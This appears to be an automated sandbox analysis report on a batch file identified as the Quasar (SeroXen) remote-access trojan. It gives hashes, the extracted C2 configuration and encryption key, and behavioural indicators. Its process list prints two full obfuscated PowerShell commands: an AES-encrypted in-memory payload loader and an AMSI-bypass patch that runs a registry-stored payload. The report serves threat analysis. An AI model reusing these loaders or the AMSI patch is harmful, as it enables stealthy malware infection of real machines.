quasar | 2868c25ebff7a0b0ac9989e6df5a1d6f8625713980b1bf74af596d2204ed0d8c

Analysis

max time kernel
135s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
30-05-2024 10:17

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General

Target

hellotesting1.bat
Size

710KB
MD5

1c6a9ae804188b09a9d22a6ce2a4e16a
SHA1

fd6cb4acd356a4b21fdd3d8bad229153fefe6803
SHA256

2868c25ebff7a0b0ac9989e6df5a1d6f8625713980b1bf74af596d2204ed0d8c
SHA512

2fd8a3f0398d8b81d03529d74c532239e9da40a8565ab1e48d3278eca2b880def39d96d8e364f6bfa98b4326ac7ac9636fd0666c4ac051e74d47a40b17d9c576
SSDEEP

12288:0CA9ic1CGZWdhoXOExoF4LD4q+shjUIMgE4GScdQzNpxMtGh7CYS7lXInOZ1CTYz:0zTbkcxoi34qj5SgbGVG/xoK7CR3CTC

Score

10^/10

quasar seroxen | v3.1.5 |execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen | v3.1.5 |

rights-varying.gl.at.ply.gg:55443

rights-varying.gl.at.ply.gg:3348

Mutex

$Sxr-jy6vh8CtEJL5ceZuIb

Attributes

encryption_key
MIQZkzdNR10rFBFJyNsU
install_name
$sxr-powershell.exe
log_directory
$sxr-Logs
reconnect_delay
10
startup_key
Powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3408-25-0x0000000007980000-0x00000000079EC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4420 created 620 4420 powershell.EXE winlogon.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

15 3408 powershell.exe
17 3408 powershell.exe
19 3408 powershell.exe
32 3408 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

Install.exe

pid process

4124 Install.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 ip-api.com

description	pid	process	target process
PID 4420 created 620	4420	powershell.EXE	winlogon.exe

flow	pid	process
15	3408	powershell.exe
17	3408	powershell.exe
19	3408	powershell.exe
32	3408	powershell.exe

pid	process
4124	Install.exe

flow	ioc
14	ip-api.com

Drops file in System32 directory 2 IoCs

Processes:

powershell.EXE

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4420 set thread context of 1492 4420 powershell.EXE dllhost.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3408 powershell.exe

description	pid	process	target process
PID 4420 set thread context of 1492	4420	powershell.EXE	dllhost.exe

pid	process
3408	powershell.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.EXE

pid process

3408 powershell.exe
3408 powershell.exe
4420 powershell.EXE
4420 powershell.EXE
4420 powershell.EXE

pid	process
3408	powershell.exe
3408	powershell.exe
4420	powershell.EXE
4420	powershell.EXE
4420	powershell.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.EXEdllhost.exe

description	pid	process
Token: SeDebugPrivilege	3408	powershell.exe
Token: SeDebugPrivilege	4420	powershell.EXE
Token: SeDebugPrivilege	4420	powershell.EXE
Token: SeDebugPrivilege	1492	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

3408 powershell.exe

pid	process
3408	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

cmd.exepowershell.exepowershell.EXE

description	pid	process	target process
PID 4532 wrote to memory of 3408	4532	cmd.exe	powershell.exe
PID 4532 wrote to memory of 3408	4532	cmd.exe	powershell.exe
PID 4532 wrote to memory of 3408	4532	cmd.exe	powershell.exe
PID 3408 wrote to memory of 4124	3408	powershell.exe	Install.exe
PID 3408 wrote to memory of 4124	3408	powershell.exe	Install.exe
PID 3408 wrote to memory of 4124	3408	powershell.exe	Install.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe
PID 4420 wrote to memory of 1492	4420	powershell.EXE	dllhost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{0eef8596-6946-4e1c-b5fc-e95152599b67}
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hellotesting1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4532

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IbqOzYTeDhh6EbAnT+hBFd1cVHa3aIZ61TH3e8TlXMw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TRyGVjGg7e04rN6VcrTNsA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rutUS=New-Object System.IO.MemoryStream(,$param_var); $RKQvm=New-Object System.IO.MemoryStream; $DRWff=New-Object System.IO.Compression.GZipStream($rutUS, [IO.Compression.CompressionMode]::Decompress); $DRWff.CopyTo($RKQvm); $DRWff.Dispose(); $rutUS.Dispose(); $RKQvm.Dispose(); $RKQvm.ToArray();}function execute_function($param_var,$param2_var){ $tCKKt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QCbWu=$tCKKt.EntryPoint; $QCbWu.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\hellotesting1.bat';$YYuKO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\hellotesting1.bat').Split([Environment]::NewLine);foreach ($LeEqs in $YYuKO) { if ($LeEqs.StartsWith(':: ')) { $XNFZh=$LeEqs.Substring(3); break; }}$payloads_var=[string[]]$XNFZh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3408

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
3⤵
- Executes dropped EXE
PID:4124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OQycNYRJvWog{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GZPvNMhkLeELhC,[Parameter(Position=1)][Type]$zmIsdghgHg)$vAHYeZWdHGz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+'e'+'c'+'t'+'e'+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+'yM'+'o'+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+'le'+[Char](103)+''+'a'+'t'+'e'+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+','+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+'d,'+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+'C'+''+'l'+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$vAHYeZWdHGz.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+'p'+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$GZPvNMhkLeELhC).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+'d');$vAHYeZWdHGz.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'N'+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+'i'+'rt'+[Char](117)+''+[Char](97)+'l',$zmIsdghgHg,$GZPvNMhkLeELhC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Man'+'a'+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $vAHYeZWdHGz.CreateType();}$IgFVSsaoxpnNB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+'ft.'+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+'a'+''+[Char](102)+'eN'+[Char](97)+''+[Char](116)+'i'+[Char](118)+'e'+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+'s'+'');$KTiXpkXyHUtZlZ=$IgFVSsaoxpnNB.GetMethod(''+'G'+'e'+[Char](116)+''+'P'+''+[Char](114)+'oc'+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+[Char](80)+'ub'+'l'+'i'+'c'+''+','+''+[Char](83)+''+'t'+'a'+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TreHhZrcXNviQxQOyGU=OQycNYRJvWog @([String])([IntPtr]);$LAxOlaTpFTEQVbAWjECwje=OQycNYRJvWog @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IxowoTVCAfl=$IgFVSsaoxpnNB.GetMethod(''+[Char](71)+''+'e'+'tMo'+[Char](100)+''+'u'+''+[Char](108)+'e'+[Char](72)+''+'a'+'n'+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+'e'+''+'l'+''+[Char](51)+''+'2'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$HJHsmRUpxZntni=$KTiXpkXyHUtZlZ.Invoke($Null,@([Object]$IxowoTVCAfl,[Object](''+[Char](76)+'o'+[Char](97)+'d'+[Char](76)+''+[Char](105)+'bra'+[Char](114)+''+[Char](121)+'A')));$twWyDRwVFPSUKBYLj=$KTiXpkXyHUtZlZ.Invoke($Null,@([Object]$IxowoTVCAfl,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+'u'+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+'t'+'e'+''+'c'+''+[Char](116)+'')));$RDLnAiG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HJHsmRUpxZntni,$TreHhZrcXNviQxQOyGU).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+'.'+''+'d'+''+'l'+''+'l'+'');$GaGdnvEyEXIZbizHZ=$KTiXpkXyHUtZlZ.Invoke($Null,@([Object]$RDLnAiG,[Object]('Am'+'s'+''+'i'+''+[Char](83)+'c'+[Char](97)+''+'n'+''+[Char](66)+'uf'+'f'+''+[Char](101)+'r')));$phGsSQAFYj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($twWyDRwVFPSUKBYLj,$LAxOlaTpFTEQVbAWjECwje).Invoke($GaGdnvEyEXIZbizHZ,[uint32]8,4,[ref]$phGsSQAFYj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GaGdnvEyEXIZbizHZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($twWyDRwVFPSUKBYLj,$LAxOlaTpFTEQVbAWjECwje).Invoke($GaGdnvEyEXIZbizHZ,[uint32]8,0x20,[ref]$phGsSQAFYj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+'s'+''+'t'+''+'a'+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
051b3f7c30caf2eedbed29daa6192efb

SHA1
a3e0f31e4b4367e5af06f71e7718e7d64ceb250d

SHA256
6cd0c5b5b528c15ad28d9f8e44ee2b4e46d8942e8c0592e89c056a3a3661c3b3

SHA512
93288a5e145ebf48fb5b536cf331159dad81c1c0458099b5cfc649fddc9a5755739cab9d46c8a3f562dba1ed7ed4852c51eaebd73e9ea8ee28f053df22c74158

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_janxtasq.epq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1492-60-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1492-62-0x00007FFA65E40000-0x00007FFA65EFE000-memory.dmp

Filesize
760KB

Download
memory/1492-61-0x00007FFA67DF0000-0x00007FFA67FE5000-memory.dmp

Filesize
2.0MB

Download
memory/1492-55-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1492-56-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1492-57-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1492-58-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3408-18-0x0000000006590000-0x00000000065DC000-memory.dmp

Filesize
304KB

Download
memory/3408-49-0x000000000A6C0000-0x000000000A6FC000-memory.dmp

Filesize
240KB

Download
memory/3408-19-0x0000000007DA0000-0x000000000841A000-memory.dmp

Filesize
6.5MB

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memory/3408-20-0x0000000006B20000-0x0000000006B3A000-memory.dmp

Filesize
104KB

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memory/3408-21-0x0000000001360000-0x0000000001368000-memory.dmp

Filesize
32KB

Download
memory/3408-22-0x00000000077D0000-0x000000000785A000-memory.dmp

Filesize
552KB

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memory/3408-25-0x0000000007980000-0x00000000079EC000-memory.dmp

Filesize
432KB

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memory/3408-26-0x000000000A9D0000-0x000000000AF74000-memory.dmp

Filesize
5.6MB

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memory/3408-27-0x000000000A420000-0x000000000A4B2000-memory.dmp

Filesize
584KB

Download
memory/3408-17-0x0000000006540000-0x000000000655E000-memory.dmp

Filesize
120KB

Download
memory/3408-72-0x00000000746B0000-0x0000000074E60000-memory.dmp

Filesize
7.7MB

Download
memory/3408-69-0x00000000746B0000-0x0000000074E60000-memory.dmp

Filesize
7.7MB

Download
memory/3408-67-0x00000000746B0000-0x0000000074E60000-memory.dmp

Filesize
7.7MB

Download
memory/3408-66-0x00000000746BE000-0x00000000746BF000-memory.dmp

Filesize
4KB

Download
memory/3408-48-0x0000000007D00000-0x0000000007D12000-memory.dmp

Filesize
72KB

Download
memory/3408-0-0x00000000746BE000-0x00000000746BF000-memory.dmp

Filesize
4KB

Download
memory/3408-51-0x000000000A810000-0x000000000A81A000-memory.dmp

Filesize
40KB

Download
memory/3408-1-0x00000000030A0000-0x00000000030D6000-memory.dmp

Filesize
216KB

Download
memory/3408-2-0x00000000746B0000-0x0000000074E60000-memory.dmp

Filesize
7.7MB

Download
memory/3408-16-0x0000000006060000-0x00000000063B4000-memory.dmp

Filesize
3.3MB

Download
memory/3408-5-0x0000000005F80000-0x0000000005FE6000-memory.dmp

Filesize
408KB

Download
memory/3408-6-0x0000000005FF0000-0x0000000006056000-memory.dmp

Filesize
408KB

Download
memory/3408-4-0x00000000057A0000-0x00000000057C2000-memory.dmp

Filesize
136KB

Download
memory/3408-3-0x00000000058E0000-0x0000000005F08000-memory.dmp

Filesize
6.2MB

Download
memory/4420-53-0x00007FFA67DF0000-0x00007FFA67FE5000-memory.dmp

Filesize
2.0MB

Download
memory/4420-54-0x00007FFA65E40000-0x00007FFA65EFE000-memory.dmp

Filesize
760KB

Download
memory/4420-52-0x0000020282610000-0x000002028263A000-memory.dmp

Filesize
168KB

Download
memory/4420-65-0x00007FFA48FC0000-0x00007FFA49A81000-memory.dmp

Filesize
10.8MB

Download
memory/4420-38-0x00000202E6CB0000-0x00000202E6CD2000-memory.dmp

Filesize
136KB

Download
memory/4420-37-0x00007FFA48FC0000-0x00007FFA49A81000-memory.dmp

Filesize
10.8MB

Download
memory/4420-36-0x00007FFA48FC0000-0x00007FFA49A81000-memory.dmp

Filesize
10.8MB

Download
memory/4420-35-0x00007FFA48FC3000-0x00007FFA48FC5000-memory.dmp

Filesize
8KB

Download